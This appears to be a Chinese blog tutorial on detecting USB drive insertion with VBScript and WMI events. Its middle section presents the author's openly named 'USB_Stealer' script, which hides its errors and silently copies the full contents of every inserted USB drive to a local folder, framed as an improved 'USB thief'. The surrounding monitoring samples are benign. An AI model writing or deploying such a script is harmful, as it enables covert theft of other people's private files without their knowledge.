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可以說，對WMI的掌握程度的多少直接決定了你的VBS水平高低。看過網(wǎng)上普遍流傳VBS版U盤小偷程序，基本上都是靠無限循環(huán)實現(xiàn)的，一點技術含量也沒有，文章的末尾給出了我寫的VBS版U盤小偷程序的下載地址。雖然用WMI也得無限循環(huán)，但是效率是不一樣的。

使用WMI的Win32_VolumeChangeEvent類就可以實現(xiàn)，下面是示例代碼，更詳細的信息請參考MSND文檔。

代碼如下:

Const Configuration_Changed = 1

Const Device_Arrival = 2

Const Device_Removal = 3

Const Docking = 4

strComputer = "."

Set objWMIService = GetObject("winmgmts:" _

& "{impersonationLevel=impersonate}!\\" _

& strComputer & "\root\cimv2")

Set colMonitoredEvents = objWMIService. _

ExecNotificationQuery( _

"Select * from Win32_VolumeChangeEvent")

Do

Set objLatestEvent = colMonitoredEvents.NextEvent

Select Case objLatestEvent.EventType

Case Device_Arrival

WScript.Echo "U盤插入，盤符為" & _

objLatestEvent.DriveName

Case Device_Removal

WScript.Echo "U盤彈出，盤符為" & _

objLatestEvent.DriveName

End Select

Loop

我也寫了一個U盤小偷程序，自以為比網(wǎng)上抄來抄去的代碼要好，感興趣的可以下載來看看。

代碼如下:

'==========================================

'Name : USB_Stealer

'Date : 2010/5/25

'Author : Demon

'Copyright : Copyright (c) 2010 Demon

'E-Mail : still.demon@gmail.com

'QQ : 380401911

'Website : http://demon.tw

'==========================================

'Option Explicit

On Error Resume Next

Const Target_Folder = "C:\USB"

Call Main()

Sub Main()

On Error Resume Next

Const Device_Arrival = 2

Const Device_Removal = 3

Const strComputer = "."

Dim objWMIService, colMonitoredEvents, objLatestEvent

Set objWMIService = GetObject("winmgmts:" _

& "{impersonationLevel=impersonate}!\\" _

& strComputer & "\root\cimv2")

Set colMonitoredEvents = objWMIService. _

ExecNotificationQuery( _

"Select * from Win32_VolumeChangeEvent")

Do

Set objLatestEvent = colMonitoredEvents.NextEvent

Select Case objLatestEvent.EventType

Case Device_Arrival

Copy_File objLatestEvent.DriveName

End Select

Loop

End Sub

Sub Copy_File(Folder_Path)

On Error Resume Next

Dim fso,file,folder

Set fso = CreateObject("scripting.filesystemobject")

If Not fso.FolderExists(Target_Folder) Then

fso.CreateFolder(Target_Folder)

End If

For Each file In fso.GetFolder(Folder_Path).Files

file.Copy Target_Folder & "\" & file.Name,True

Next

For Each folder In fso.GetFolder(Folder_Path).SubFolders

folder.Copy Target_Folder & "\" & folder.Name,True

Next

End Sub

鑒于很多人反映之前寫的那篇在XP下無效，做了一下修改。說是修改，其實是直接復制粘貼腳本專家的代碼。

代碼如下:

strComputer = "."

Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Set colEvents = objWMIService.ExecNotificationQuery _

("Select * From __InstanceOperationEvent Within 10 Where " _

& "TargetInstance isa 'Win32_LogicalDisk'")

Do While True

Set objEvent = colEvents.NextEvent

If objEvent.TargetInstance.DriveType = 2 Then

Select Case objEvent.Path_.Class

Case "__InstanceCreationEvent"

Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _

" has been added."

Case "__InstanceDeletionEvent"

Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _

" has been removed."

End Select

End If

Loop